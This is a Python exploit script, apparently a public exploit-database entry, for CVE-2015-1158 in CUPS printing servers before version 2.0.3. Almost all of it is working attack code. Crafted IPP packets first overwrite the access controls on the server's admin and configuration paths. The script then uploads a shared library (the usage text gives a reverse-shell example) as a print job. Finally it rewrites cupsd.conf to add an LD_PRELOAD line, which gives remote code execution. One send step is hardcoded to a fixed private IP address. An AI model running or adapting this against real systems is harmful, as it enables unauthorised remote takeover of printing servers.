| 
	 #!/usr/bin/python # Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution # Google Dork: n/a # Date: 2/2/17 # Exploit Author: @0x00string # Vendor Homepage: cups.org # Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2 # Version: <2.0.3 # Tested on: Ubuntu 14/15 # CVE : CVE-2015-1158 import os, re, socket, random, time, getopt, sys from socket import * from struct import *   def banner():     print '''              lol ty google              0000000000000           0000000000000000000   00        00000000000000000000000000000       0000000000000000000000000000000     000000000             0000000000    00000000               0000000000   0000000                000000000000  0000000               000000000000000  000000              000000000  000000 0000000            000000000     000000 000000            000000000      000000 000000          000000000        000000 000000         00000000          000000 000000       000000000           000000 0000000    000000000            0000000  000000   000000000             000000  0000000000000000              0000000   0000000000000               0000000    00000000000              00000000    00000000000            000000000   0000000000000000000000000000000    00000000000000000000000000000      000  0000000000000000000              0000000000000               @0x00string github.com/0x00string/oldays/CVE-2015-1158.py '''   def usage ():     print   ("python script.py <args>\n"             "   -h, --help:             Show this message\n"             "   -a, --rhost:            Target IP address\n"             "   -b, --rport:            Target IPP service port\n"             "   -c, --lib               /path/to/payload.so\n"             "   -f, --stomp-only        Only stomp the ACL (no postex)\n"             "\n"             "Examples:\n"             "python script.py -a 10.10.10.10 -b 631 -f\n"             "python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")     exit()   def pretty (t, m):         if (t is "+"):                 print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",         elif (t is "-"):                 print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",         elif (t is "*"):                 print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",         elif (t is "!"):                 print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",   def createDump (input):         d, b, h = '', [], []         u = list(input)         for e in u:                 h.append(e.encode("hex"))                 if e == '0x0':                         b.append('0')                 elif 30 > ord(e) or ord(e) > 128:                         b.append('.')                 elif 30 < ord(e) or ord(e) < 128:                         b.append(e)           i = 0         while i < len(h):                 if (len(h) - i ) >= 16:                         d += ' '.join(h[i:i+16])                         d += "         "                         d += ' '.join(b[i:i+16])                         d += "\n"                         i = i + 16                 else:                         d += ' '.join(h[i:(len(h) - 0 )])                         pad = len(' '.join(h[i:(len(h) - 0 )]))                         d += ' ' * (56 - pad)                         d += ' '.join(b[i:(len(h) - 0 )])                         d += "\n"                         i = i + len(h)           return d   class tcpsock:     def __init__(self, sock=None):         if sock is None:             self.sock = socket(             AF_INET, SOCK_STREAM)             self.sock.settimeout(30)         else:             self.sock = sock     def connect(self, host, port):         self.sock.connect((host, int(port)))     def tx(self, msg):         self.sock.send(msg)     def rx(self):         tmp  = self.sock.recv(1024)         msg = ""         while tmp:             msg += tmp             tmp  = self.sock.recv(1024)         return msg   def txrx (ip, port, proto, txpacket):     if (proto is "tcp"):         sock = tcpsock()     elif (proto is "udp"):         sock = udpsock()     else:         return None     sock.connect(ip, port)     sock.tx(txpacket)     rxpacket = sock.rx()     return rxpacket   def locatePrinters(rhost, rport="631"):     request = ( "GET /printers HTTP/1.1\x0d\x0a"         "Host: " + rhost + ":" + rport + "\x0d\x0a"         "User-Agent: CUPS/2.0.2\x0d\x0a"         "Connection: Close\x0d\x0a"         "\x0d\x0a")     response = txrx(rhost, int(rport), "tcp", request)     if response is not None:         m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)         if m is not None:             printer = m.group(1)             pretty("+","printer found: " + printer)     else:         pretty("-","no printers")         exit(1)     return printer   def preparePayload(libpath):     with open(libpath, 'rb') as f:         payload = f.read()     if payload is not None:         pretty("*","Payload:\n" + createDump(payload))     else:         pretty("-","something went wrong")         usage()     return payload   def seedTarget(rhost, rport, printer, payload):     i = random.randint(1,3)     reqid = str(pack(">i",(i+2)))     reqid2 = str(pack(">i",(i+3)))     printer_uri = "ipp://" + rhost + ":" + str(rport) + printer       create_job_packet = ("\x02\x00"                          "\x00\x05"+                          reqid+                          "\x01"                          "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"                          "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"                          "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +                          "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"                          "\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib"                          "\x02"                          "\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01"                          "\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03"                          "\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30"                          "\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite"                          "\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32"                          "\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none"                          "\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01"                          "\x03")     pretty("*","Sending createJob")       http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"                         "Content-Type: application/ipp\x0d\x0a"                         "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"                         "User-Agent: CUPS/2.0.2\x0d\x0a"                         "Connection: Close\x0d\x0a"                         "Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a"                         "\x0d\x0a")       createJobRequest = http_header1 + create_job_packet     blah = txrx(rhost,int(rport),"tcp",createJobRequest)     if blah is not None:         m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah)         if m is not None:             jobid = m.group(1)     else:         pretty("-","something went wrong");         exit()       pretty("*","\n" + createDump(blah) + "\n")     pretty("*", "Sending sendJob")       send_document_packet = ("\x02\x00"                             "\x00\x06"+                             reqid2+                             "\x01"                             "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"                             "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"                             "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +                             "\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) +                             "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"                             "\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib"                             "\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream"                             "\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01"                             "\x03"+                             payload)       http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"                         "Content-Type: application/ipp\x0d\x0a"                         "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"                         "User-Agent: CUPS/2.0.2\x0d\x0a"                         "Connection: Close\x0d\x0a"                         "Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a"                         "\x0d\x0a")       sendJobRequest = http_header2 + send_document_packet     blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest)     pretty("*","\n" + createDump(blah) + "\n")     pretty("*","job id: " + jobid)     return jobid   def stompACL(rhost, rport, printer):     i = random.randint(1,1024)     printer_url = "ipp://" + rhost + ":" + rport + printer       admin_stomp = ("\x02\x00"      #   vers 2.0                 "\x00\x05"+     #   op id: Create Job (0x0005)                 str(pack(">i",(i+1)))+                 "\x01"      #   op attributes marker                 "\x47"      #   charset                 "\x00\x12"      #   name len: 18                 "attributes-charset"                 "\x00\x08"      #   val len: 8                 "us-ascii"                 "\x48"      #   natural language                 "\x00\x1b"      #   name len: 27                 "attributes-natural-language"                 "\x00\x06"      #   val len: 6                 "/admin"                 "\x45"      #   printer-uri                 "\x00\x0b"      #   name len 11                 "printer-uri" +                 str(pack(">h", len(printer_url))) + printer_url +                 "\x42"      #   name without lang                 "\x00\x14"      #   name len: 20                 "requesting-user-name"                 "\x00\x06"      #   val len: 6                 "/admin"                 "\x02"      #   job attrs marker                 "\x21"      #   integer                 "\x00\x06"      #   name len: 6                 "copies"                 "\x00\x04"      #   val len: 4                 "\x00\x00\x00\x01"  #   1                 "\x42"      #   name w/o lang                 "\x00\x19"      #   name len: 25                 "job-originating-host-name"                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x36"      #   nwl                 "\x00\x00"      #   name len: 0                 "\x00\x16"      #   val len: 22                 "\x00\x06"      #   length                 "/admin"                 "\x00\x0c"                 "BBBBBBBBBBBB"                 "\x03")      #   end of attributes       conf_stomp = ("\x02\x00"        #   vers 2.0                 "\x00\x05"+     #   op id: Create Job (0x0005)                 str(pack(">i",(i+2)))+                 "\x01"      #   op attributes marker                 "\x47"      #   charset                 "\x00\x12"      #   name len: 18                 "attributes-charset"                 "\x00\x08"      #   val len: 8                 "us-ascii"                 "\x48"      #   natural language                 "\x00\x1b"      #   name len: 27                 "attributes-natural-language"                 "\x00\x0b"      #   val len: 11                 "/admin/conf"                 "\x45"      #   printer-uri                 "\x00\x0b"      #   name len 11                 "printer-uri" +                 str(pack(">h", len(printer_url))) + printer_url +                 "\x42"      #   name without lang                 "\x00\x14"      #   name len: 20                 "requesting-user-name"                 "\x00\x0b"      #   val len: 11                 "/admin/conf"                 "\x02"      #   job attrs marker                 "\x21"      #   integer                 "\x00\x06"      #   name len: 6                 "copies"                 "\x00\x04"      #   val len: 4                 "\x00\x00\x00\x01"  #   1                 "\x42"      #   name w/o lang                 "\x00\x19"      #   name len: 25                 "job-originating-host-name"                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x42"      #   nwol                 "\x00\x00"      #   name len: 0                 "\x00\x0c"      #   val len: 12                 "AAAAAAAAAAAA"                 "\x36"      #   nwl                 "\x00\x00"      #   name len: 0                 "\x00\x1b"      #   val len: 27                 "\x00\x0b"      #   length                 "/admin/conf"                 "\x00\x0c"                 "BBBBBBBBBBBB"                 "\x03")      #   end of attributes       http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a"                     "Content-Type: application/ipp\x0d\x0a"                     "Host: " + rhost + ":" + rport + "\x0d\x0a"                     "User-Agent: CUPS/2.0.2\x0d\x0a"                     "Connection: Close\x0d\x0a"                     "Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a"                     "\x0d\x0a")       http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a"                     "Content-Type: application/ipp\x0d\x0a"                     "Host: " + rhost + ":" + rport + "\x0d\x0a"                     "User-Agent: CUPS/2.0.2\x0d\x0a"                     "Connection: Close\x0d\x0a"                     "Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a"                     "\x0d\x0a")       pretty("*","stomping ACL")     pretty("*",">:\n" + createDump(http_header1 + admin_stomp))     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp)))     time.sleep(1)     pretty("*",">:\n" + createDump(http_header2 + conf_stomp))     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp)))       http_header_check = ("GET /admin HTTP/1.1\x0d\x0a"                         "Host: " + rhost + ":" + rport + "\x0d\x0a"                         "User-Agent: CUPS/2.0.2\x0d\x0a"                         "Connection: Close\x0d\x0a"                         "\x0d\x0a")     pretty("*","checking /admin")     pretty("*",">:\n" + createDump(http_header_check))     res = txrx(rhost,rport,"tcp",http_header_check)     pretty("*","<:\n" + createDump(res))     m = re.search('200 OK', res)     if m is not None:         pretty("+","ACL stomp successful")     else:         pretty("-","exploit failed")         exit(1)     def getConfig(rhost, rport):     i = random.randint(1,1024)     original_config = ""     http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"                     "Host: " + rhost + ":" + rport + "\x0d\x0a"                     "User-Agent: CUPS/2.0.2\x0d\x0a"                     "Connection: Close\x0d\x0a"                     "\x0d\x0a")       pretty("*","grabbing configuration file....")     res = txrx(rhost,rport,"tcp",http_request)     res_array = res.split("\x0d\x0a\x0d\x0a")     original_config = res_array[1]     pretty("*","config:\n" + original_config + "\n")     return original_config   def putConfig(rhost, rport, config):     http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"                     "Content-Type: application/ipp\x0d\x0a"                     "Host: " + rhost + ":" + rport + "\x0d\x0a"                     "User-Agent: CUPS/2.0.2\x0d\x0a"                     "Connection: Keep-Alive\x0d\x0a"                     "Content-Length: " + str(len(config)) + "\x0d\x0a"                     "\x0d\x0a")     pretty("*","overwriting config...")     pretty("*",">:\n" + createDump(http_request + config))     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config)))   def poisonConfig(config, name):     config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001\x0a"     return config   def main():     rhost = None;     noshell = None;     options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])     for opt, arg in options:         if opt in ('-h', '--help'):             usage()         elif opt in ('-a','--rhost'):             rhost = arg;         elif opt in ('-b','--rport'):             rport = arg;         elif opt in ('-c','--lib'):             libpath = arg;         elif opt in ('-f','--stomp-only'):             noshell = 1;     banner()     if rhost is None or rport is None:         usage()     pretty("*","locate available printer")     printer = locatePrinters(rhost, rport)     pretty("*","stomp ACL")     stompACL(rhost, rport, printer)     if (noshell is not None):         pretty("*","fin")         exit(0)     pretty("*","prepare payload")     payload = preparePayload(libpath)     pretty("*","spray payload")     jobid = seedTarget(rhost, rport, printer, payload)     pretty("*","grab original config")     OG_config = getConfig(rhost, rport)     pretty("*","generate poison config")     evil_config = poisonConfig(OG_config, jobid)     pretty("*","upload poison config")     putConfig(rhost, rport, evil_config)     pretty("*","fin")     exit(0);   if __name__ == "__main__":     main() 
	
  | 
 
 
|   | 
 
  |